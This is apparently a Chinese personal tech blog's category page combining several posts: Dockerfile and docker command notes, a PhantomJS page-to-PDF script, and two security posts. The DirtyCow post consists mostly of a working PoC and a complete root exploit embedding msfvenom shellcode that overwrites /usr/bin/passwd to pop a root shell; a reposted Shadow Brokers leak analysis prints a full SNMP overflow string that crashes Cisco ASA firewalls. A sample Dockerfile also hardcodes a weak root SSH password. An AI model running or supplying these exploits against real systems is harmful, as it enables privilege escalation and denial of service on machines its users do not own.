分类 技术类 下的文章

DockerFile 编写小记

DockerFile命令指南

格式

Dockerfile 中所有的命令都是以下格式:

INSTRUCTION argument

指令(INSTRUCTION)不分大小写,但是推荐大写。

FROM 命令

FROM <image name>,例如

FROM ubuntu

所有的 Dockerfile 都用该以 FROM 开头,FROM 命令指明 Dockerfile 所创建的镜像文件以什么镜像为基础,FROM 以后的所有指令都会在 FROM 的基础上进行创建镜像;可以在同一个 Dockerfile 中多次使用 FROM 命令用于创建多个镜像。

MAINTAINER 命令

MAINTAINER <author name>用于指定镜像创建者和联系方式。
例如

MAINTAINER Victor Coisne victor.coisne@dotcloud.com

RUN 命令

RUN <command>

用于容器内部执行命令。每个 RUN 命令相当于在原有的镜像基础上添加了一个改动层,原有的镜像不会有变化。

ADD 命令

ADD <src> <dst>

用于从将<src>文件复制到<dst> 文件:<src> 是相对被构建的源目录的相对路径,可以是文件或目录的路径,也可以是一个远程的文件 url,<dst>是容器中的绝对路径。

CMD 命令

CMD 命令有三种格式:

  • CMD ["executable","param1","param2"]:推荐使用的 exec 形式。
  • CMD ["param1","param2"]:无可执行程序形式
  • CMD command param1 param2:shell 形式。

CMD 命令用于启动容器时默认执行的命令,CMD 命令可以包含可执行文件,也可以不包含可执行文件:不包含可执行文件的情况下就要用 ENTRYPOINT 指定一个,然后 CMD 命令的参数就会作为ENTRYPOINT的参数。

一个 Dockerfile 中只能有一个CMD,如果有多个,则最后一个生效。

CMD 的 shell 形式默认调用 /bin/sh -c 执行命令。

CMD命令会被 Docker 命令行传入的参数覆盖:

docker run busybox /bin/echo Hello Docker

会把 CMD 里的命令覆盖。

ENTRYPOINT 命令

ENTRYPOINT 命令的字面意思是进入点,而功能也恰如其意:他可以让你的容器表现得像一个可执行程序一样。

ENTRYPOINT 命令也有两种格式:

  • ENTRYPOINT ["executable", "param1", "param2"] :推荐使用的 exec 形式
  • ENTRYPOINT command param1 param2 :shell 形式

一个 Dockerfile 中只能有一个 ENTRYPOINT,如果有多个,则最后一个生效。

关于 CMD 和 ENTRYPOINT 的联系请看下面的例子
仅仅使用 ENTRYPOINT:

FROM ubuntu
ENTRYPOINT ls -l

执行 docker run 306cd7e8408b /etc/fstabdocker run 306cd7e8408b 结果并不会有什么差别:

命令 # docker run 306cd7e8408b /etc/fstab
total 64
drwxr-xr-x 2 root root 4096 Mar 20 05:22 bin
drwxr-xr-x 2 root root 4096 Apr 10 2014 boot
drwxr-xr-x 5 root root 360 Apr 24 02:52 dev
drwxr-xr-x 64 root root 4096 Apr 24 02:52 etc
drwxr-xr-x 2 root root 4096 Apr 10 2014 home
……

但是我们通常使用 ENTRYPOINT作为容器的入口,使用CMDENTRYPOINT增加默认选项:

FROM ubuntu
CMD ["-l"]
ENTRYPOINT ["ls"]

然后执行这个容器:
不加参数便会默认有 -l参数:

命令 # docker run 89dc7e6d0ac1
total 64
drwxr-xr-x 2 root root 4096 Mar 20 05:22 bin
drwxr-xr-x 2 root root 4096 Apr 10 2014 boot
drwxr-xr-x 5 root root 360 Apr 24 02:47 dev
drwxr-xr-x 64 root root 4096 Apr 24 02:47 etc
drwxr-xr-x 2 root root 4096 Apr 10 2014 home
drwxr-xr-x 12 root root 4096 Mar 20 05:21 lib
drwxr-xr-x 2 root root 4096 Mar 20 05:20 lib64
drwxr-xr-x 2 root root 4096 Mar 20 05:19 media
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt
drwxr-xr-x 2 root root 4096 Mar 20 05:19 opt
dr-xr-xr-x 386 root root 0 Apr 24 02:47 proc
drwx------ 2 root root 4096 Mar 20 05:22 root
drwxr-xr-x 7 root root 4096 Mar 20 05:21 run
drwxr-xr-x 2 root root 4096 Apr 21 22:18 sbin
drwxr-xr-x 2 root root 4096 Mar 20 05:19 srv
dr-xr-xr-x 13 root root 0 Apr 24 02:47 sys
drwxrwxrwt 2 root root 4096 Mar 20 05:22 tmp
drwxr-xr-x 11 root root 4096 Apr 21 22:18 usr
drwxr-xr-x 12 root root 4096 Apr 21 22:18 var

加了/etc/fstab 参数便会覆盖原有的 -l 参数:

命令 # docker run 89dc7e6d0ac1 /etc/fstab
/etc/fstab

EXPOSE 命令

EXPOSE <port> [<port>...]

命令用来指定对外开放的端口。
例如 EXPOSE 80 3306,开放 80 和 3306 端口。

WORKDIR命令

WORKDIR /path/to/work/dir

配合 RUN,CMD,ENTRYPOINT 命令设置当前工作路径。
可以设置多次,如果是相对路径,则相对前一个 WORKDIR 命令。默认路径为/。

例如:

FROM ubuntu
WORKDIR /etc
WORKDIR ..
WORKDIR usr
WORKDIR lib
ENTRYPOINT pwd

docker run ID 得到的结果为:/usr/lib

USER命令

USER <UID/Username>

为容器内指定 CMDRUNENTRYPOINT 命令运行时的用户名或UID。

VLOUME 命令

VOLUME ['/data']

允许容器访问容器的目录、允许容器之间互相访问目录。
VOLUME 仅仅是允许将某一个目录暴露在外面,更多的操作还需要依赖 Docker 命令实现。
更多的内容可以参考 深入理解 Docker Volume(一)

ENV 命令

参考 export 的用法咧:

ENV LC_ALL en_US.UTF-8

实例
Dockerfile 的写法已经讲述完毕,这儿有一个示例的 Dockerfile:

#Dockerfile
FROM centos6-base
#指定centos6系统
MAINTAINER zhou_mfk <zhou_mfk@163.com>
#我抄的他的 Dockerfile
RUN ssh-keygen -q -N "" -t dsa -f /etc/ssh/ssh_host_dsa_key
RUN ssh-keygen -q -N "" -t rsa -f /etc/ssh/ssh_host_rsa_key
#创建私钥
RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd
#修复SSH登录,否则登陆后的用户会被秒退。
RUN mkdir -p /root/.ssh && chown root.root /root && chmod 700 /root/.ssh
#创建root用户的ssh文件夹
EXPOSE 22
#开放端口
RUN echo 'root:redhat' | chpasswd
#root用户改密码为redhat
RUN yum install -y yum-priorities && rpm -ivh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm && rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
RUN yum install tar gzip gcc vim wget screen -y
#安装epel和安装一些软件
ENV LANG en_US.UTF-8
ENV LC_ALL en_US.UTF-8
#系统环境变量
CMD ["/usr/sbin/sshd", "-D"]
#启动sshd
#End

docker run

语法:

docker run [OPTIONS] IMAGE [COMMAND] [ARG...]

OPTIONS说明:

-a, --attach=[]            登录容器(以docker run -d启动的容器)  
-c, --cpu-shares=0 设置容器CPU权重,在CPU共享场景使用
--cap-add=[] 添加权限,权限清单详见:http://linux.die.net/man/7/capabilities
--cap-drop=[] 删除权限,权限清单详见:http://linux.die.net/man/7/capabilities
--cidfile="" 运行容器后,在指定文件中写入容器PID值,一种典型的监控系统用法
--cpuset="" 设置容器可以使用哪些CPU,此参数可以用来容器独占CPU
-d, --detach=false 指定容器运行于前台还是后台
--device=[] 添加主机设备给容器,相当于设备直通
--dns=[] 指定容器的dns服务器
--dns-search=[] 指定容器的dns搜索域名,写入到容器的/etc/resolv.conf文件
-e, --env=[] 指定环境变量,容器中可以使用该环境变量
--entrypoint="" 覆盖image的入口点
--env-file=[] 指定环境变量文件,文件格式为每行一个环境变量
--expose=[] 指定容器暴露的端口,即修改镜像的暴露端口
-h, --hostname="" 指定容器的主机名
-i, --interactive=false 打开STDIN,用于控制台交互
--link=[] 指定容器间的关联,使用其他容器的IP、env等信息
--lxc-conf=[] 指定容器的配置文件,只有在指定--exec-driver=lxc时使用
-m, --memory="" 指定容器的内存上限
--name="" 指定容器名字,后续可以通过名字进行容器管理,links特性需要使用名字
--net="bridge" 容器网络设置,待详述
-P, --publish-all=false 指定容器暴露的端口,待详述
-p, --publish=[] 指定容器暴露的端口,待详述
--privileged=false 指定容器是否为特权容器,特权容器拥有所有的capabilities
--restart="" 指定容器停止后的重启策略,待详述
--rm=false 指定容器停止后自动删除容器(不支持以docker run -d启动的容器)
--sig-proxy=true 设置由代理接受并处理信号,但是SIGCHLD、SIGSTOP和SIGKILL不能被代理
-t, --tty=false 分配tty设备,该可以支持终端登录
-u, --user="" 指定容器的用户
-v, --volume=[] 给容器挂载存储卷,挂载到容器的某个目录
--volumes-from=[] 给容器挂载其他容器上的卷,挂载到容器的某个目录
-w, --workdir="" 指定容器的工作目录

详情见:http://blog.csdn.net/one_clouder/article/details/39224767

docker Build

语法:

docker build [OPTIONS] PATH | URL | -

OPTIONS说明:

--build-arg=[] :设置镜像创建时的变量;
--cpu-shares :设置 cpu 使用权重;
--cpu-period :限制 CPU CFS周期;
--cpu-quota :限制 CPU CFS配额;
--cpuset-cpus :指定使用的CPU id;
--cpuset-mems :指定使用的内存 id;
--disable-content-trust :忽略校验,默认开启;
-f :指定要使用的Dockerfile路径;
--force-rm :设置镜像过程中删除中间容器;
--isolation :使用容器隔离技术;
--label=[] :设置镜像使用的元数据;
-m :设置内存最大值;
--memory-swap :设置Swap的最大值为内存+swap,"-1"表示不限swap;
--no-cache :创建镜像的过程不使用缓存;
--pull :尝试去更新镜像的新版本;
-q :安静模式,成功后只输出镜像ID;
--rm :设置镜像成功后删除中间容器;
--shm-size :设置/dev/shm的大小,默认值是64M;
--ulimit :Ulimit配置。

docker commit

语法:

docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]

OPTIONS说明:

-a :提交的镜像作者;
-c :使用Dockerfile指令来创建镜像;
-m :提交时的说明文字;
-p :在commit时,将容器暂停。

网页保存为图片、PDF

近日工作需要,需要输入一个网址,然后将网站保存为图片格式以及pdf格式
找了半天,发现还是phantomjs好用,之前phantomjs做爬虫的时候接触过一些,没想到这么强大
PhantomJS是一个基于webkit的javascript API。它使用QtWebKit作为它核心浏览器的功能,使用webkit来编译解释执行JavaScript代码。任何你可以在基于webkit浏览器做的事情,它都能做到。它不仅是个隐形的浏览器,提供了诸如CSS选择器、支持Web标准、DOM操作、JSON、html5、Canvas、SVG等,同时也提供了处理文件I/O的操作,从而使你可以向操作系统读写文件等。PhantomJS的用处可谓非常广泛,诸如网络监测、网页截屏、无需浏览器的 Web 测试、页面访问自动化等。
如果做自动化测试的小伙伴应该很熟悉这个,我这个门外汉也就接触过一点皮毛。
命令如下:
先找到phantomjs的安装路径,然后进入安装目录下面的examples目录。运行下面这行命令即可
phantomjs rasterize.js 网址 保存的名字

保存的名字后缀为pdf 则将网页保存为了pdf格式的文档,如果保存的名字后缀为png,则将网页保存为截图

下面是rasterize.js的代码,官方自带的一个js,挺好用的

"use strict";
var page = require('webpage').create(),
    system = require('system'),
    address, output, size;

if (system.args.length < 3 || system.args.length > 5) {
    console.log('Usage: rasterize.js URL filename [paperwidth*paperheight|paperformat] [zoom]');
    console.log('  paper (pdf output) examples: "5in*7.5in", "10cm*20cm", "A4", "Letter"');
    console.log('  image (png/jpg output) examples: "1920px" entire page, window width 1920px');
    console.log('                                   "800px*600px" window, clipped to 800x600');
    phantom.exit(1);
} else {
    address = system.args[1];
    output = system.args[2];
    page.viewportSize = { width: 600, height: 600 };
    if (system.args.length > 3 && system.args[2].substr(-4) === ".pdf") {
        size = system.args[3].split('*');
        page.paperSize = size.length === 2 ? { width: size[0], height: size[1], margin: '0px' }
                                           : { format: system.args[3], orientation: 'portrait', margin: '1cm' };
    } else if (system.args.length > 3 && system.args[3].substr(-2) === "px") {
        size = system.args[3].split('*');
        if (size.length === 2) {
            pageWidth = parseInt(size[0], 10);
            pageHeight = parseInt(size[1], 10);
            page.viewportSize = { width: pageWidth, height: pageHeight };
            page.clipRect = { top: 0, left: 0, width: pageWidth, height: pageHeight };
        } else {
            console.log("size:", system.args[3]);
            pageWidth = parseInt(system.args[3], 10);
            pageHeight = parseInt(pageWidth * 3/4, 10); // it's as good an assumption as any
            console.log ("pageHeight:",pageHeight);
            page.viewportSize = { width: pageWidth, height: pageHeight };
        }
    }
    if (system.args.length > 4) {
        page.zoomFactor = system.args[4];
    }
    page.open(address, function (status) {
        if (status !== 'success') {
            console.log('Unable to load the address!');
            phantom.exit(1);
        } else {
            window.setTimeout(function () {
                page.render(output);
                phantom.exit();
            }, 200);
        }
    });
}

1234.png
用phantomjs去截取中文页面的网站可能会出现乱码的情况,也就是截图中中文的位置全是方框。
解决办法就是安装字体。
在centos中执行:yum install bitmap-fonts bitmap-fonts-cjk
在ubuntu中执行:sudo apt-get install xfonts-wqy
这样再去截图中文的页面就不会出现一堆的方框了。

很少写博客了,主要是太忙

冒个泡,目前没有关站的想法,博客会一直尽力开下去
最近比较忙,撸了个安全社区
www.secquan.org
有兴趣加入的小伙伴投稿给我即可

CVE-2016-5195【Linux内核>=2.6.22通杀】

PoC

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

$ sudo -s

#echo this is not a test > foo

#chmod 0404 foo

$ ls -lah foo

-r-----r-- 1 root root 19 Oct 20 15:23 foo

$ cat foo

this is not a test

$ gcc -lpthread dirtyc0w.c -o dirtyc0w

$ ./dirtyc0w foo m00000000000000000

mmap 56123000

madvise 0

procselfmem 1800000000

$ cat foo

m00000000000000000

exp

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s.. to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

QQ截图20161025132202.png

【转】8月19日:Shadow-Brokers所泄露文件的介绍、技术分析(上)

原文地址:http://bobao.360.cn/learning/detail/2970.html
t017eddd82532cb29ef.png

0x01 曝光的数据与方程式和NSA的关系

从泄露数据包所解压出的内容看,是专门针对防火墙设备进行攻击和渗透行动时所使用的工具集。据数据曝光者Shadow Brokers所描述,这个数据包是来自于著名国家级APT攻击团队——方程式组织(Equation Group)。该组织具信受雇于美国国家安全局(NSA),对外发动过多次著名的国家级APT攻击,包括震网(stuxnet)、Regin、Flame等攻击。从文件中所包含有”JETPLOW“,”BANANALEE“等文件名和文件夹关键字信息, 也与之前斯诺登所曝光的NSA网络攻击内部资料的防火墙(FIREWALL)章节内容所相符:

下图为斯诺登报出的NSA网络攻击的一节内容:

1.png

(JETPLOW是专门针对Cisco PIX和ASA系列防火墙固件进行持久化植入的工具,可以将持久化控制软件BANANAGLEE植入到设备中)

2.png

(BANANAGLEE可以认为是一个持续控制后门(Persistent Backdoor)攻击框架, 通过植入和篡改Cisco防火墙OS文件, 实现对Cisco防火墙入侵后的持续控制)

通过各安全研究人员对工具集当中攻击工具的成功验证, 基本上确定了这些数据包是从NSA有关联的方程式组织(Equation Group)泄露的可能性;

0x02 工具包所包含内容的分析:

文件夹下的目录信息

3.png

padding 文件

大小19M, 使用binwalk对文件进行分析后发现有Cisco IOS特征,推测应该是CiscoIOS平台的OS文件,可能是在攻击行为中留下了的;

root@kali:~/Documents/test/Firewall# binwalk padding
DECIMAL       HEXADECIMAL     DESCRIPTION
 --------------------------------------------------------------------------------
 10909743      0xA6782F        Cisco IOS experimental microcode for ""

SCRIPTS/ 目录

该应该是攻击行动执行组(OPS)在攻击过程中的笔记和一些攻击工具的使用方法笔记; 文件的最后修改时间为2013年6月份;

4.png

其中:

Bookishmute.txt 文件为一次针对TOPSEC防火墙的攻击记录笔记。记录中出现的IP地址159.226.209.125为中国科学网的IP,怀疑该OPS小组有对中国相关组织进行过攻击;

TOOLS/ 目录

主要用来存放一些进行渗透行动(OPS)时所经常用到的工具;
5.png

OPS/ 目录

进行攻击行动(OPS)时的自动化工具集合
6.png

BUZZDIRECTION/ 目录

针对Fortinet的持久化植入和控制工具集合

7.png

BANANAGLEE 目录:

是针对ASA和PIX设备的可持续控制功能, 目的是在获取防火墙权限后,能够实现对设备的持久控制, 并根据不通模块完成对应的任务; 如任意流量调度,对感兴趣的流量进行监听等。
8.png

EXPLOIT/ 目录

利用防火墙设备的漏洞,实现对不同防火墙(ASA,PIX,NETSCREE,TOPSEC,Fortinet)的”破门”,以期望达到获取防火墙控制权限的目的;

从整个文件中的目录结构和内容信息来分,可以大体上分为三类:

一类为脚本,记录和自动化工具文件, 主要分布在OPS,SCRIPTS,TOOLS目录下;

第二类为利用漏洞进行破门的工具, 主要是EXPLOIT目录,针对不同的目标,攻击程序在不同的子文件夹中;

第三类是为了能对目标防火墙设备持续控制和进行有目的的信息采集,而准备的工程化工具,主要集中在BANANAGLEE,BARGLEE,BLASTING,BUZZDIRECTION目录下;

9.png

0x03 漏洞利用分析

从攻击的代码看, 针对TOPSEC所使用漏洞类型,为防火墙通过web所提供的管理界面中存在的漏洞,一个是HTTP Cookie command injection漏洞, 一个是HTTP POST 命令注入漏洞; Fortigate防火墙则是由于HTTP cookie溢出而存在漏洞。

目前完成验证的则是EXTRA BACON工具集中, 所使用的影响ASA 8.0-8.4版本的SNMP溢出漏洞;

当一台ASA设备配置了snmp口令比较弱或被泄露, 那么攻击者可以从ASA允许的snmp-server上通过精心构造的snmp溢出数据包, 实现对ASA设备telnet和ssh登陆密码验证的绕过;
攻击视频为: http://v.youku.com/v_show/id_XMTY4NzgxNTM0MA==.html

通过分析攻击工具所构造的的数据信息发现,能够实现针对ASA设备溢出攻击的有效SNMP串, 可以造成ASA设备的crash。

能造成ASA设备重启的SNMP代码如下:

snmpwalk -v 2c -t 1 -r 0 -c $community $target_ip 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.64.28.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.88.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.216.1.0.0.4.51.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.253.13.54.9.139.124.36.20.139.7.255.224.144

造成Crash的ASA信息如下:

Cisco Adaptive Security Appliance Software Version 8.2(5)
Compiled on Fri 20-May-11 16:00 by builders
Hardware:   ASA5505
Crashinfo collected on 02:45:02.149 UTC Tue Aug 16 2016
Traceback:
0: 0x805e2d3
1: 0x805ede7
2: 0x8a63c84
3: 0xdd6aa6d5
4: 0xdd57d1e0
5: 0xc9a647f8
6: 0xc9bbb648
Stack dump: base:0x0xc9a646b4 size:351267, active:351267
 entries above '==': return PC preceded by input parameters
 entries below '==': local variables followed by saved regs
             '==Fn': stack frame n, contains next stack frame
                '*': stack pointer at crash
 For example:
    0xeeeeef00: 0x005d0707     : arg3
    0xeeeeeefc: 0x00000159     : arg2
    0xeeeeeef8: 0x005d0722     : arg1
    0xeeeeeef4: 0x005d1754     : return PC
    0xeeeeeef0: 0xeeeeef20 ==F2: stack frame F2
    0xeeeeeeec: 0x00def9e0     : local variable
    0xeeeeeee8: 0x0187df9e     : local variable or saved reg
    0xeeeeeee4: 0x01191548     : local variable or saved reg ciscoasa#
Thread Name: snmp
Page fault: Address not mapped
    vector 0x0000000e
       edi 0x0f0f0f0b
       esi 0x00000000
       ebp 0xc9a647b4
       esp 0xc9a64738
       ebx 0x00000010
       edx 0xc9a6472c
       ecx 0xc911d4e8
       eax 0x023d0d4c
error code 0x00000004
       eip 0xc9bbae4a
        cs 0x00000073
    eflags 0x00013203
       CR2 0x023d0d68

0x04 持续化后门程序分析

待续

0x05 总结

通过对目前所掌握的Shadow-brokers所泄露出文件的分析,可以得到如下结论:

1.是专门执行对防火墙(Firewall)设备进行渗透攻击,并高度集成的攻击工具集;

2.该工具集覆盖了国内外使用比较广泛的防火墙产品;

3.破门攻击(利用漏洞获取防火墙权限)时所使用的设备软件漏洞,需要对设备漏洞进行主动的挖掘才能获取;

4.准确可靠的漏洞利用程序(EXPLOIT)说明安全技术达到了极高的水平,有专门人员从事对网络设备安全的研究;

5.获取目前权限后的持续控制和隐秘, 攻击方基本上已经形成了框架和比较统一的思路;